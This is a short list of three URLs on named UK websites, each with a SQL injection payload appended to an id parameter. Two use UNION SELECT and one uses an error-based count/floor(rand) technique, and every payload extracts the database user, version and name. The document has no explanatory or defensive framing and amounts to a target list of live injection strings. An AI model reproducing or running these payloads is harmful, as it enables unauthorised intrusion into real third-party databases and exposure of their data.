http://www.biochar.org.uk/abstract.php?id=37.9+union+all+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10+--+

http://core.materials.ac.uk/search/detail.php?id=2762 and(select 1 from(select count(*),concat((select (concat_ws(0x3a,user(),version(),database())) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

http://www.huhmagazine.co.uk/view_article.php?id=2215.9+union+all+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+